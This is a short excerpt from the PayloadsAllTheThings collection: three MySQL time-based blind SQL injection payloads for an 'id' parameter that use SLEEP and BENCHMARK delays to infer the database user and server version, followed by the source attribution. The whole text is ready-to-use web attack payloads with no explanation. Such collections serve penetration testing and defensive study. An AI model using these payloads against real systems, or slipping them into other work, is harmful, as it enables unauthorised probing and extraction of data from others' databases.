?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.